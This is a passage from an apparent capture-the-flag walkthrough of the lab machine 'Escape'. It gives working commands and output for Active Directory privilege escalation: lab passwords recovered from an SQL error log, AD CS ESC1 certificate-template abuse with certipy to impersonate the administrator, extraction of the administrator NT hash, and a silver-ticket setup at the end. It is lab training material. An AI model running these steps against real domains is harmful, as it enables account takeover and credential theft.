$ldapsearch-Dsql_svc@sequel.htb-x-b'dc=sequel,dc=htb'-Hldap://escape-wREGGIE1234ronnieldap_bind:Strong(er) authenticationrequired (8) additional info: 00002028: LdapErr: DSID-0C090259, comment: The server requires binds to turn on integrity checking if SSL\TLS are not already active on the connection, data 0, v4563
We can use the Python package ldap3 to do the LDAP query as the code of bloodhound.py.
We found an MSSQL log file C:\SQLServer\Logs\ERRORLOG.BAK.
*Evil-WinRM* PS C:\SQLServer\Logs> cat ERRORLOG.BAK...2022-11-1813:43:07.44 Logon Error: 18456, Severity: 14, State: 8.2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-1813:43:07.48 Logon Error: 18456, Severity: 14, State: 8.2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
...
We see the user Ryan.Cooper type his password incorrectly and we can try to login to the target using this password now.
We see that the user Ryan is a member of the group Certificate Service DCOM Access member of which can connect to certification authorities in the enterprise.
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami /groupsGROUP INFORMATION-----------------Group Name Type SID Attributes=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
...
It seems that we may abuse the AD CS to achieve domain escalation.
Users obtain certificates from CA through the certificate enrollment process. Some misconfiguration may result in domain escalation.
We can use the tool Certify.exe to enumerate misconfigured certificate templates.
Or, we can use the Python package certipy to enumerate from Linux.
And, we can find a vulnerable certificate template named UserAuthentication:
$python3-mpipinstallcertify-ad$certipyfind-u'ryan.cooper@sequel'-p'NuclearMosquito3'-dc-ip'escape'-vulnerable-stdout...Certipyv4.4.0-byOliverLyak (ly4k)[*] Finding certificate templates[*] Found 34 certificate templates[*] Finding certificate authorities[*] Found 1 certificate authority[*] Found 12 enabled certificate templates[*] Trying to get CA configuration for'sequel-DC-CA' via CSRA[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for'sequel-DC-CA' via RRP[*] Got CA configuration for'sequel-DC-CA'[*] Enumeration output:CertificateAuthorities0CAName:sequel-DC-CADNSName:dc.sequel.htbCertificateSubject:CN=sequel-DC-CA,DC=sequel,DC=htb...CertificateTemplates0TemplateName:UserAuthenticationDisplayName:UserAuthenticationCertificateAuthorities:sequel-DC-CAEnabled:TrueClientAuthentication:TrueEnrollmentAgent:FalseAnyPurpose:FalseEnrolleeSuppliesSubject:TrueCertificateNameFlag:EnrolleeSuppliesSubjectEnrollmentFlag:PublishToDsIncludeSymmetricAlgorithmsPrivateKeyFlag:1677721665536ExportableKeyExtendedKeyUsage:ClientAuthenticationSecureEmailEncryptingFileSystemRequiresManagerApproval:FalseRequiresKeyArchival:FalseAuthorizedSignaturesRequired:0ValidityPeriod:10yearsRenewalPeriod:6weeksMinimumRSAKeyLength:2048PermissionsEnrollmentPermissionsEnrollmentRights:SEQUEL.HTB\DomainAdminsSEQUEL.HTB\DomainUsersSEQUEL.HTB\EnterpriseAdminsObjectControlPermissionsOwner:SEQUEL.HTB\AdministratorWriteOwnerPrincipals:SEQUEL.HTB\DomainAdminsSEQUEL.HTB\EnterpriseAdminsSEQUEL.HTB\AdministratorWriteDaclPrincipals:SEQUEL.HTB\DomainAdminsSEQUEL.HTB\EnterpriseAdminsSEQUEL.HTB\AdministratorWritePropertyPrincipals:SEQUEL.HTB\DomainAdminsSEQUEL.HTB\EnterpriseAdminsSEQUEL.HTB\Administrator [!] Vulnerabilities ESC1 : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
Certificate Signing Request
We can now use certipy to request the certificate for the user administrator now.
$certipy req -u ryan.cooper@sequel.htb -p NuclearMosquito3 -upn administrator@sequel.htb -target sequel.htb -ca sequel-dc-ca -template UserAuthentication
Certipyv4.4.0-byOliverLyak (ly4k)[*] Requesting certificate via RPC[*] Successfully requested certificate[*] Request ID is 11[*] Got certificate with UPN 'administrator@sequel.htb'[*] Certificate has no object SID[*] Saved certificate and private key to 'administrator.pfx'
Authentication
We can request the TGT ticket for the user administrator using certificate now.
$sudontpdate-uescape$certipyauth-pfxadministrator.pfxCertipyv4.4.0-byOliverLyak (ly4k)[*] Using principal: administrator@sequel.htb[*] Trying to get TGT...[*] Got TGT[*] Saved credential cache to 'administrator.ccache'[*] Trying to retrieve NT hash for'administrator'[*] Got hash for'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
And, we can login to the target using evil-winrm now.
Since we got the password of the service account SQL_SVC, we can mint a service-granting ticket for a non-existing SPN using the password hash as in a silver ticket attack.
First, we need the domain SID, in our case S-1-5-21-4078382237-1492182817-2568127209: